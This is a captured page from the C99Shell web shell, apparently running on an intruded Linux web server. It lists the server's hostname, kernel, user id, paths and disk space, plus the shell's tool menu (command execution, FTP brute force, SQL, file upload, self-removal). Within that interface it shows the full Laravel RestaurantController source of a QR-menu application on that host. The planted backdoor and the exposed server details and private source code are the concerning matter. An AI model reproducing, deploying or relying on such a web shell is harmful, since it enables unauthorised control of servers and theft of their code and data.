!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/test.qr.picotech.app/public_html/app/Http/Controllers/   drwxr-xr-x
Free 29.25 GB of 117.98 GB (24.79%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     RestaurantController.php (24.57 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Http\Controllers;

use 
App\Models\CustomMenu;
use 
App\Models\CustomMenuDetails;
use 
App\Models\CustomMenuTempFiles;
use 
App\Models\Item;
use 
App\Models\Plan;
use 
App\Models\Restaurant;
use 
App\Models\User;
use 
App\Models\UserPlan;
use 
Illuminate\Http\Request;
use 
Illuminate\Support\Facades\DB;
use 
Illuminate\Support\Facades\File;
use 
Illuminate\Support\Facades\Log;
use 
Illuminate\Support\Str;
use 
SimpleSoftwareIO\QrCode\Facades\QrCode;

class 
RestaurantController extends Controller
{

    public function 
index()
    {
        
$user auth()->user();
       if (
$user->type == 'admin') {
            
$data['restaurants'] = Restaurant::all();
        } else {
            
$data['restaurants'] = $user->restaurants;
        }

        
$data['plans'] = Plan::where('status''active')->get();

        
$data['customers'] = User::where('type''restaurant_owner')->orderBy('created_at''desc')->get();

        return 
view('restaurant.index'$data);
    }
    public function 
plan_request(Request $request){

        
$user auth()->user();
        if(
$user->type !='restaurant_owner'){
            return 
abort(404);
        }

         
UserPlan::where('plan_id',$request->user_currrent_plan)->firstOrFail();

        
$plan Plan::findOrFail($request->plan_id);

        
$expiredDate null;
        if (
$plan->recurring_type == 'weekly') {
            
$expiredDate now()->addWeek();
        } else if (
$plan->recurring_type == 'monthly') {
            
$expiredDate now()->addMonth();
        } else if (
$plan->recurring_type == 'yearly') {
            
$expiredDate now()->addYear();
        }

          
$userPlan = new UserPlan();
            
$userPlan->user_id $user->id;
            
$userPlan->plan_id $plan->id;
            
$userPlan->start_date now();
            
$userPlan->expired_date $expiredDate;
            
$userPlan->is_current 'no';
            
$userPlan->cost $plan->cost;
            
$userPlan->recurring_type $plan->recurring_type;
            
$userPlan->table_limit $plan->table_limit;
            
$userPlan->restaurant_limit $plan->restaurant_limit;
            
$userPlan->item_limit $plan->item_limit;
            
$userPlan->item_unlimited $plan->item_unlimited;
            
$userPlan->table_unlimited $plan->table_unlimited;
            
$userPlan->restaurant_unlimited $plan->restaurant_unlimited;
            
$userPlan->pos_system $plan->pos_system;
            
$userPlan->status 'pending';
            
$userPlan->save();

        return 
redirect()->route('restaurant.index')->with('success'trans('layout.message.plan_request'));
    }



    public function 
create()
    {
        
$user auth()->user();
        
$data['customers'] = User::where('type''restaurant_owner')->orderBy('created_at''desc')->get();
        
$data['extend_message'] = '';
        
$userPlan = isset($user->current_plans[0]) ? $user->current_plans[0] : '';
        
$userRestaurants $user->restaurants()->count();

        if (
$user->type != 'admin' && $userPlan) {
            if ((
$user->type != 'admin' && (!$userPlan || $userRestaurants >= $userPlan->restaurant_limit)) && $userPlan->restaurant_unlimited != 'yes') {
                
$data['extend_message'] = trans('layout.restaurant_extends');
            }
        } else if (
$user->type != 'admin' && !$userPlan) {
            
$data['extend_message'] = trans('layout.restaurant_extends');
            return 
redirect()->route('plan.list')->withErrors(['failed' => trans('layout.restaurant_extends')]);
        }


        return 
view('restaurant.create'$data);
    }
    public function 
show(){
        return 
true;
    }

    
// public function storee(Request $request)
    // {
    //     $request->validate([
    //         'name' => 'required|string|min:2',
    //         'location' => 'max:191',
    //         'email' => 'email|unique:users',
    //         'phone_number' => 'max:20',
    //         'timing' => 'max:20',
    //         'description' => 'required',
    //         'profile_file' => 'image',
    //         'cover_file' => 'image',
    //         'currency_code' => 'required|max:4',
    //         'currency_symbol' => 'required|max:4',
    //         'template' => 'required|in:classic,modern,flipbook,custom',
    //     ]);

    //     if ($request->user_id) {
    //         User::where('type', 'restaurant_owner')->where('id', $request->user_id)->firstOrFail();
    //     }


    //     $user = auth()->user();
    //     if ($user->type != 'admin') {
    //         $userPlan = isset($user->current_plans[0]) ? $user->current_plans[0] : '';
    //         $userRestaurants = $user->restaurants()->count();
    //         if ($userPlan) {
    //             if ((!$userPlan || $userRestaurants >= $userPlan->restaurant_limit) && $userPlan->restaurant_unlimited != 'yes') {
    //                 return redirect()->back()->withErrors(['msg' => trans('layout.restaurant_extends')]);
    //             }
    //         } else {
    //             return redirect()->route('plan.list')->withErrors(['failed' => trans('layout.restaurant_extends')]);
    //         }
    //     }

    //     if ($user->type == 'admin') $request['verified_at'] = now();


    //     if ($request->hasFile('profile_file')) {
    //         $file = $request->file('profile_file');
    //         $imageName = time() . 'p.' . $file->extension();
    //         $file->move(public_path('/uploads'), $imageName);
    //         $request['profile_image'] = $imageName;
    //     }

    //     if ($request->hasFile('cover_file')) {
    //         $file = $request->file('cover_file');
    //         $imageName = time() . 'c.' . $file->extension();
    //         $file->move(public_path('/uploads'), $imageName);
    //         $request['cover_image'] = $imageName;
    //     }

    //     if ($request->hasFile('images')) {
    //         $images = $request->file('images');
    //         $imageNames = [];

    //         foreach ($images as $file) {
    //             $imageName = time() . '_' . uniqid() . '.' . $file->extension();
    //             $file->move(public_path('/uploads'), $imageName);
    //             $imageNames[] = $imageName;
    //         }

    //         $request['photos'] = json_encode($imageNames);
    //     }

    //     $request['has_reservation'] = $request->has_reservation ? 'yes' : 'no';

    //     if ($request['has_reservation'] === 'yes') {
    //         $openingHours = [];
    //         if ($request->opening_date && $request->opening_hour) {
    //             foreach ($request->opening_date as $key => $date) {
    //                 $hour = $request->opening_hour[$key] ?? null;
    //                 if (!empty($date) && !empty($hour)) {
    //                     $openingHours[] = [
    //                         'opening_date' => $date,
    //                         'opening_hour' => $hour,
    //                     ];
    //                 }
    //             }
    //             if (!empty($openingHours)) {
    //                 $request['opening_hours'] = $openingHours;
    //             }
    //         }

    //         // Others Information
    //         $othersInformation = [];
    //         $imageNames = [];

    //         if ($request->hasFile('other_image')) {
    //             foreach ($request->file('other_image') as $file) {
    //                 $imageName = time() . '_' . uniqid() . '.' . $file->getClientOriginalExtension();
    //                 $file->move(public_path('uploads'), $imageName);
    //                 $imageNames[] = $imageName;
    //             }
    //         }

    //         if ($request->title && $request->details) {
    //             foreach ($request->title as $key => $title) {
    //                 $details = $request->details[$key] ?? null;
    //                 if (!empty($title) && !empty($details)) {
    //                     $othersInformation[] = [
    //                         'title' => $title,
    //                         'details' => $details,
    //                         'other_image' => $imageNames[$key] ?? null,
    //                     ];
    //                 }
    //             }
    //             if (!empty($othersInformation)) {
    //                 $request['others_information'] = $othersInformation;
    //             }
    //         }
    //     }



    //     $request['slug'] = Str::slug($request->name);
    //     $request['description'] = clean($request->description);
    //    if ($user->type === 'admin') {
    //     $customer = User::findOrFail($request->user_id);
    //     $customer->restaurants()->create($request->except([
    //         '_token', 'profile_file', 'cover_file', 'images', 'other_image',
    //         'opening_date', 'opening_hour', 'title', 'details', 'lat', 'long'
    //     ]));
    // } else {
    //     $user->restaurants()->create($request->except([
    //         '_token', 'profile_file', 'cover_file', 'images', 'other_image',
    //         'opening_date', 'opening_hour', 'title', 'details', 'lat', 'long'
    //     ]));
    // }

    //     return redirect()->route('restaurant.index')->with('success', trans('layout.message.restaurant_create'));

    // }

    
public function store(Request $request)
    {

        if(
env('APP_DEMO')){
            return 
redirect()->back()->withErrors(['msg' => trans('layout.app_demo_message')]);
        }

        
$request->validate([
            
'name' => 'required|string|min:2',
            
'location' => 'max:191',
            
'email' => 'email|unique:users',
            
'phone_number' => 'max:20',
            
'timing' => 'max:20',
            
'description' => 'required',
            
'profile_file' => 'image',
            
'cover_file' => 'image',
            
'currency_code' => 'required|max:4',
            
'currency_symbol' => 'required|max:4',
            
'template' => 'required|in:classic,modern,flipbook,custom',
        ]);


        if (
$request->user_id) {
            
User::where('type''restaurant_owner')->where('id'$request->user_id)->firstOrFail();
        }

        
$user auth()->user();

        if (
$user->type != 'admin') {
            
$userPlan = isset($user->current_plans[0]) ? $user->current_plans[0] : '';
            
$userRestaurants $user->restaurants()->count();
            if (
$userPlan) {
                if ((!
$userPlan || $userRestaurants >= $userPlan->restaurant_limit) && $userPlan->restaurant_unlimited != 'yes') {
                    return 
redirect()->back()->withErrors(['msg' => trans('layout.restaurant_extends')]);
                }
            } else {
                return 
redirect()->route('plan.list')->withErrors(['failed' => trans('layout.restaurant_extends')]);
            }
        }

        if (
$user->type == 'admin'$request['verified_at'] = now();

        if (
$request->hasFile('profile_file')) {
            
$file $request->file('profile_file');
            
$imageName time() . 'p.' $file->extension();
            
$file->move(public_path('/uploads'), $imageName);
            
$request['profile_image'] = $imageName;
        }

        if (
$request->hasFile('cover_file')) {
            
$file $request->file('cover_file');
            
$imageName time() . 'c.' $file->extension();
            
$file->move(public_path('/uploads'), $imageName);
            
$request['cover_image'] = $imageName;
        }

        if (
$request->hasFile('images')) {
            
$images $request->file('images');
            
$imageNames = [];
            foreach (
$images as $file) {
                
$imageName time() . '_' uniqid() . '.' $file->extension();
                
$file->move(public_path('/uploads'), $imageName);
                
$imageNames[] = $imageName;
            }
            
$request['photos'] = json_encode($imageNames);
        }

        if (
$request->has_reservation == 'yes') {

            
$combined = [];
            if (
$request->opening_date && $request->opening_hour) {
                foreach (
$request->opening_date as $key => $data) {
                    
$combined[] = [
                        
'opening_date' => $data,
                        
'opening_hour' => $request->opening_hour[$key],
                    ];
                }
                
$request['opening_hours'] = json_encode($combined);
            }

            
$others_information = [];
            if (
$request->title && $request->details) {
                
$images $request->file('other_image');
                
$imageNames = [];
                if (
$images) {
                    foreach (
$images as $file) {
                        
$imageName time() . '_' uniqid() . '.' $file->extension();
                        
$file->move(public_path('/uploads'), $imageName);
                        
$imageNames[] = $imageName;
                    }
                }

                foreach (
$request->title as $key => $data) {
                    
$others_information[] = [
                        
'title' => $data,
                        
'details' => $request->details[$key],
                        
'other_image' => isset($imageNames[$key]) ? $imageNames[$key] : null,
                    ];
                }
                
$request['others_information'] = json_encode($others_information);
            }
        }

        
$request['slug'] = Str::slug($request->name);
        
$request['description'] = clean($request->description);

        
$request['direction'] = json_encode($request->only('lat''long'));

        if (
$user->type == 'admin') {
            
$customer User::where('id'$request->user_id)->first();
            
$customer->restaurants()->create($request->all());
        } else {
            
$user->restaurants()->create($request->all());
        }

        return 
redirect()->route('restaurant.index')->with('success'trans('layout.message.restaurant_create'));
    }



    public function 
edit(Restaurant $restaurant)
    {
        
$data['restaurant'] = $restaurant;
        
$data['customers'] = User::where('type''restaurant_owner')->orderBy('created_at''desc')->get();

        return 
view('restaurant.edit'$data);
    }


    public function 
update(Request $requestRestaurant $restaurant)
{

        if(
env('APP_DEMO')){
            return 
redirect()->back()->withErrors(['msg' => trans('layout.app_demo_message')]);
        }

    
$request->validate([
        
'name' => 'required|string|min:2',
        
'location' => 'max:191',
        
'email' => 'email|unique:users,email,' $restaurant->user_id,
        
'phone_number' => 'max:20',
        
'timing' => 'max:20',
        
'description' => 'required',
        
'profile_file' => 'image',
        
'cover_file' => 'image',
        
'currency_code' => 'required|max:4',
        
'currency_symbol' => 'required|max:4',
        
'template' => 'required|in:classic,modern,flipbook,custom',
    ]);

    if (
$request->hasFile('profile_file')) {
        if (
$restaurant->profile_image) {
            
$filePath public_path('uploads') . '/' $restaurant->profile_image;
            if (
file_exists($filePath)) {
                
unlink($filePath);
            }
        }

        
$file $request->file('profile_file');
        
$profileImage time() . 'p.' $file->getClientOriginalExtension();
        
$file->move(public_path('uploads'), $profileImage);
        
$request['profile_image'] = $profileImage;
    }

    if (
$request->hasFile('cover_file')) {
        if (
$restaurant->cover_image) {
            
$filePath public_path('uploads') . '/' $restaurant->cover_image;
            if (
file_exists($filePath)) {
                
unlink($filePath);
            }
        }

        
$file $request->file('cover_file');
        
$coverImage time() . 'c.' $file->getClientOriginalExtension();
        
$file->move(public_path('uploads'), $coverImage);
        
$request['cover_image'] = $coverImage;
    }

    if (
$request->hasFile('images')) {
        
$imageNames = [];
        if (
$restaurant->photos) {
            
$oldPhotos json_decode($restaurant->photostrue);
            foreach (
$oldPhotos as $oldPhoto) {
                
$filePath public_path('uploads') . '/' $oldPhoto;
                if (
file_exists($filePath)) {
                    
unlink($filePath);
                }
            }
        }

        foreach (
$request->file('images') as $file) {
            
$imageName time() . '_' uniqid() . '.' $file->getClientOriginalExtension();
            
$file->move(public_path('uploads'), $imageName);
            
$imageNames[] = $imageName;
        }

        
$request['photos'] = json_encode($imageNames);
    }

    if (
$request->has_reservation == 'yes') {
        
$combined = [];
        if (
$request->opening_date && $request->opening_hour) {
            foreach (
$request->opening_date as $key => $date) {
                if (!empty(
$date) && !empty($request->opening_hour[$key])) {
                    
$combined[] = [
                        
'opening_date' => $date,
                        
'opening_hour' => $request->opening_hour[$key],
                    ];
                }
            }
            
$request['opening_hours'] = json_encode($combined);
        }

        if (
$request->title && $request->details) {
            
$othersInformation = [];
            
$imageNames = [];

            if (
$request->hasFile('other_image')) {
                foreach (
$request->file('other_image') as $file) {
                    
$imageName time() . '_' uniqid() . '.' $file->getClientOriginalExtension();
                    
$file->move(public_path('uploads'), $imageName);
                    
$imageNames[] = $imageName;
                }
            }

            foreach (
$request->title as $key => $title) {
                
$details $request->details[$key] ?? null;
                if (!empty(
$title) && !empty($details)) {
                    
$othersInformation[] = [
                        
'title' => $title,
                        
'details' => $details,
                        
'other_image' => isset($imageNames[$key]) ? $imageNames[$key] : null,
                    ];
                }
            }

            if (!empty(
$othersInformation)) {
                
$request['others_information'] = json_encode($othersInformation);
            }
        }
    }
    if(
$request->cash_on_delivery){
        
$request['cash_on_delivery'] = 'yes';
    }else{
        
$request['cash_on_delivery'] = 'no';
    }
    if(
$request->takeaway){
        
$request['takeaway'] = 'yes';
    }else{
        
$request['takeaway'] = 'no';
    }
    if(
$request->table_booking) {
        
$request['table_booking'] = 'yes';
    }else{
        
$request['table_booking'] = 'no';
    }


    
$request['slug'] = Str::slug($request->name);
    
$request['description'] = clean($request->description);
    
$request['direction'] = json_encode($request->only('lat''long'));

    
$restaurant->update($request->all());

    return 
redirect()->route('restaurant.index')->with('success'trans('layout.message.restaurant_update'));
}




    public function 
destroy(Restaurant $restaurant)
    {
        if(
env('APP_DEMO')){
            return 
redirect()->back()->withErrors(['msg' => trans('layout.app_demo_message')]);
        }
        
$item Item::where('restaurant_id'$restaurant->id)->first();
        if (
$item) return redirect()->back()->withErrors(['msg' => trans('layout.message.restaurant_not_delete')]);

        
$this->deleteRestaurantImage($restaurant);

        
$restaurant->delete();
        return 
redirect()->back()->with('success'trans('layout.message.restaurant_delete'));
    }

    function 
deleteRestaurantImage(Restaurant $restaurant)
    {
        if (
$restaurant->profile_image) {
            
$fileN public_path('uploads') . '/' $restaurant->profile_image;
            if (
File::exists($fileN))
                
unlink($fileN);
        }

        if (
$restaurant->cover_image) {
            
$fileN public_path('uploads') . '/' $restaurant->cover_image;
            if (
File::exists($fileN))
                
unlink($fileN);
        }

    }

    public function 
showQr()
    {
        
//return view('');
        
$data['qr'] = $qr QrCode::format('png')->generate(request()->fullUrl());

        
//    return response($qr)->header('Content-type','image/png');

        
return view('showQR'$data);
    }

    public function 
customMenuGenerate($id)
    {
        
$user auth()->user();
        
$data['restaurant'] = $restaurant $user->restaurants()->where('id'$id)->first();
        if (!
$restaurant) return redirect()->back()->withErrors(['msg' => trans('layout.message.invalid_request')]);
        
$data['categories'] = $user->active_categories;
        return 
view('restaurant.custom-menu-generate'$data);
    }

    public function 
storeCustomMenu(Request $request)
    {
        
$request->validate([
            
'menu_files.*' => 'mimes:jpeg,bmp,png,pdf,jpg',
            
'id' => 'required',
            
'header_image' => 'mimes:jpeg,bmp,png,jpg',
            
'header_title' => 'required|max:191',
            
'description' => 'required'
        
]);

        
$user auth()->user();
        if (
$user->type == 'admin') {
            
$restaurant Restaurant::find($request->id);
        } else {
            
$restaurant $user->restaurants()->where('id'$request->id)->first();
        }

        if (!
$restaurant) return redirect()->back()->withErrors(['msg' => trans('layout.message.invalid_request')]);

        
DB::beginTransaction();
        try {
            
$preImages $restaurant->custom_menus()->pluck('image');
            
$notChangedImages = [];
            
$restaurant->custom_menus()->delete();
            
$data = [];
            
$i 0;
            if (isset(
$request->category_id_pre)) {
                foreach (
$request->category_id_pre as $key => $cat) {
                    
$notChangedImages[] = $request->pre_image[$key];
                    if (
$request->title_pre[$key] && $request->category_id_pre[$key] && $request->pre_image[$key]) {
                        
$data[$i]['restaurant_id'] = $restaurant->id;
                        
$data[$i]['category_id'] = $request->category_id_pre[$key];
                        
$data[$i]['name'] = $request->title_pre[$key];
                        
$data[$i]['image'] = $request->pre_image[$key];
                        
$data[$i]['created_at'] = now();
                        
$data[$i]['updated_at'] = now();
                        
$i++;
                    }

                }
            }

            if (isset(
$request->menu_files)) {
                foreach (
$request->menu_files as $key => $file) {
                    if (
$request->title[$key] && $request->category_id[$key]) {
                        
$name time() . $key '.' $file->extension();
                        
$file->move(public_path('uploads'), $name);
                        
$data[$i]['restaurant_id'] = $restaurant->id;
                        
$data[$i]['category_id'] = $request->category_id[$key];
                        
$data[$i]['name'] = $request->title[$key];
                        
$data[$i]['image'] = $name;
                        
$data[$i]['created_at'] = now();
                        
$data[$i]['updated_at'] = now();
                        
$i++;
                    }

                }
            }

            if (
$request->hasFile('header_image')) {
                
$file $request->file('header_image');
                
$name time() . 'h.' $file->extension();
                
$file->move(public_path('uploads'), $name);

                
$fileN public_path('uploads') . '/' $restaurant->cover_image;
                if (
File::exists($fileN))
                    
unlink($fileN);

                
$restaurant->cover_image $name;

            }
            
$restaurant->description $request->description;
            
$restaurant->name $request->header_title;
            
$restaurant->footer $request->footer;
            
$restaurant->save();


            
CustomMenu::insert($data);

            foreach (
$preImages as $img) {
                if (!
in_array($img$notChangedImages)) {
                    
$fileN public_path('uploads') . '/' $img;
                    if (
File::exists($fileN))
                        
unlink($fileN);
                }
            }
            
DB::commit();

            return 
redirect()->route('restaurant.custom-menu', ['id' => $restaurant])->with('success'trans('layout.message.item_update'));

        } catch (
\Exception $ex) {
            
DB::rollBack();
            
Log::error($ex);
            return 
redirect()->back()->withErrors(['msg' => trans('layout.message.invalid_request')]);
        }

    }

    public function 
loginAs(Request $request)
    {
        
$authUser auth()->user();
        if (
$authUser->type != 'admin'abort(404);

        
auth()->loginUsingId($request->id);

        return 
redirect()->route('dashboard')->with('success'trans('layout.message.login_as'));
    }

    public function 
get_states(Request $request){

        
$countryCode $request->countryCode;
        
$states getStateByCode($countryCode);

        return 
response()->json(['data'=>$states]);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0056 ]--